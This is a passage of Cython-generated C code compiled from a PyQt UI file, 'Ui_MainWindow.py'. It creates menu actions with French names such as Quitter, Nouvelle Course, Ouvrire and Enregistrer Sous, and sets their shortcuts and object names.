(unlikely(!__pyx_t_7)) __PYX_ERR(0, 971, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 971, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 971, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 971, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 971, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":972 * self.statusbar.setObjectName("statusbar") * MainWindow.setStatusBar(self.statusbar) * self.actionQuitter = QtWidgets.QAction(MainWindow) # <<<<<<<<<<<<<< * self.actionQuitter.setShortcut("Ctrl+Q") * self.actionQuitter.setMenuRole(QtWidgets.QAction.QuitRole) */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 972, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QAction); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 972, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_v_MainWindow); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 972, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_MainWindow}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 972, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_v_MainWindow}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 972, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 972, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_INCREF(__pyx_v_MainWindow); __Pyx_GIVEREF(__pyx_v_MainWindow); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_v_MainWindow); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 972, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_actionQuitter, __pyx_t_7) < 0) __PYX_ERR(0, 972, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":973 * MainWindow.setStatusBar(self.statusbar) * self.actionQuitter = QtWidgets.QAction(MainWindow) * self.actionQuitter.setShortcut("Ctrl+Q") # <<<<<<<<<<<<<< * self.actionQuitter.setMenuRole(QtWidgets.QAction.QuitRole) * self.actionQuitter.setObjectName("actionQuitter") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_actionQuitter); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 973, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setShortcut); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 973, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__597, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 973, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":974 * self.actionQuitter = QtWidgets.QAction(MainWindow) * self.actionQuitter.setShortcut("Ctrl+Q") * self.actionQuitter.setMenuRole(QtWidgets.QAction.QuitRole) # <<<<<<<<<<<<<< * self.actionQuitter.setObjectName("actionQuitter") * self.actionNouvelle_Course = QtWidgets.QAction(MainWindow) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_actionQuitter); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 974, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setMenuRole); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 974, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 974, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QAction); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 974, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QuitRole); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 974, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 974, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 974, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 974, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 974, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_9, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 974, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":975 * self.actionQuitter.setShortcut("Ctrl+Q") * self.actionQuitter.setMenuRole(QtWidgets.QAction.QuitRole) * self.actionQuitter.setObjectName("actionQuitter") # <<<<<<<<<<<<<< * self.actionNouvelle_Course = QtWidgets.QAction(MainWindow) * self.actionNouvelle_Course.setObjectName("actionNouvelle_Course") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_actionQuitter); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 975, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 975, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__598, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 975, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":976 * self.actionQuitter.setMenuRole(QtWidgets.QAction.QuitRole) * self.actionQuitter.setObjectName("actionQuitter") * self.actionNouvelle_Course = QtWidgets.QAction(MainWindow) # <<<<<<<<<<<<<< * self.actionNouvelle_Course.setObjectName("actionNouvelle_Course") * self.actionOuvrire = QtWidgets.QAction(MainWindow) */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 976, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QAction); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 976, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_v_MainWindow); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 976, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_MainWindow}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 976, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_MainWindow}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 976, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 976, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_INCREF(__pyx_v_MainWindow); __Pyx_GIVEREF(__pyx_v_MainWindow); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_v_MainWindow); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 976, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_actionNouvelle_Course, __pyx_t_7) < 0) __PYX_ERR(0, 976, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":977 * self.actionQuitter.setObjectName("actionQuitter") * self.actionNouvelle_Course = QtWidgets.QAction(MainWindow) * self.actionNouvelle_Course.setObjectName("actionNouvelle_Course") # <<<<<<<<<<<<<< * self.actionOuvrire = QtWidgets.QAction(MainWindow) * self.actionOuvrire.setObjectName("actionOuvrire") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_actionNouvelle_Course); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 977, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 977, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__599, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 977, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":978 * self.actionNouvelle_Course = QtWidgets.QAction(MainWindow) * self.actionNouvelle_Course.setObjectName("actionNouvelle_Course") * self.actionOuvrire = QtWidgets.QAction(MainWindow) # <<<<<<<<<<<<<< * self.actionOuvrire.setObjectName("actionOuvrire") * self.actionEnregister = QtWidgets.QAction(MainWindow) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 978, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QAction); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 978, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_9) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_v_MainWindow); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 978, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_v_MainWindow}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 978, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_v_MainWindow}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 978, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 978, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_INCREF(__pyx_v_MainWindow); __Pyx_GIVEREF(__pyx_v_MainWindow); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_v_MainWindow); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 978, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_actionOuvrire, __pyx_t_7) < 0) __PYX_ERR(0, 978, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":979 * self.actionNouvelle_Course.setObjectName("actionNouvelle_Course") * self.actionOuvrire = QtWidgets.QAction(MainWindow) * self.actionOuvrire.setObjectName("actionOuvrire") # <<<<<<<<<<<<<< * self.actionEnregister = QtWidgets.QAction(MainWindow) * self.actionEnregister.setObjectName("actionEnregister") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_actionOuvrire); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 979, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 979, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__600, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 979, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":980 * self.actionOuvrire = QtWidgets.QAction(MainWindow) * self.actionOuvrire.setObjectName("actionOuvrire") * self.actionEnregister = QtWidgets.QAction(MainWindow) # <<<<<<<<<<<<<< * self.actionEnregister.setObjectName("actionEnregister") * self.actionEnregistrer_Sous = QtWidgets.QAction(MainWindow) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 980, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QAction); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 980, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_v_MainWindow); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 980, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_MainWindow}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 980, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_MainWindow}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 980, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 980, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_INCREF(__pyx_v_MainWindow); __Pyx_GIVEREF(__pyx_v_MainWindow); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_v_MainWindow); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_9, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 980, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_actionEnregister, __pyx_t_7) < 0) __PYX_ERR(0, 980, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":981 * self.actionOuvrire.setObjectName("actionOuvrire") * self.actionEnregister = QtWidgets.QAction(MainWindow) * self.actionEnregister.setObjectName("actionEnregister") # <<<<<<<<<<<<<< * self.actionEnregistrer_Sous = QtWidgets.QAction(MainWindow) * self.actionEnregistrer_Sous.setObjectName("actionEnregistrer_Sous") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_actionEnregister); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 981, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 981, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__601, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 981, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":982 * self.actionEnregister = QtWidgets.QAction(MainWindow) * self.actionEnregister.setObjectName("actionEnregister") * self.actionEnregistrer_Sous = QtWidgets.QAction(MainWindow) # <<<<<<<<<<<<<< * self.actionEnregistrer_Sous.setObjectName("actionEnregistrer_Sous") * self.menuFfff.addSeparator() */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 982, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QAction); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 982, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_v_MainWindow); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 982, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_MainWindow}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 982, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_MainWindow}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 982, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 982, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_INCREF(__pyx_v_MainWindow); __Pyx_GIVEREF(__pyx_v_MainWindow); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_v_MainWindow); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 982, __pyx_L1_error) 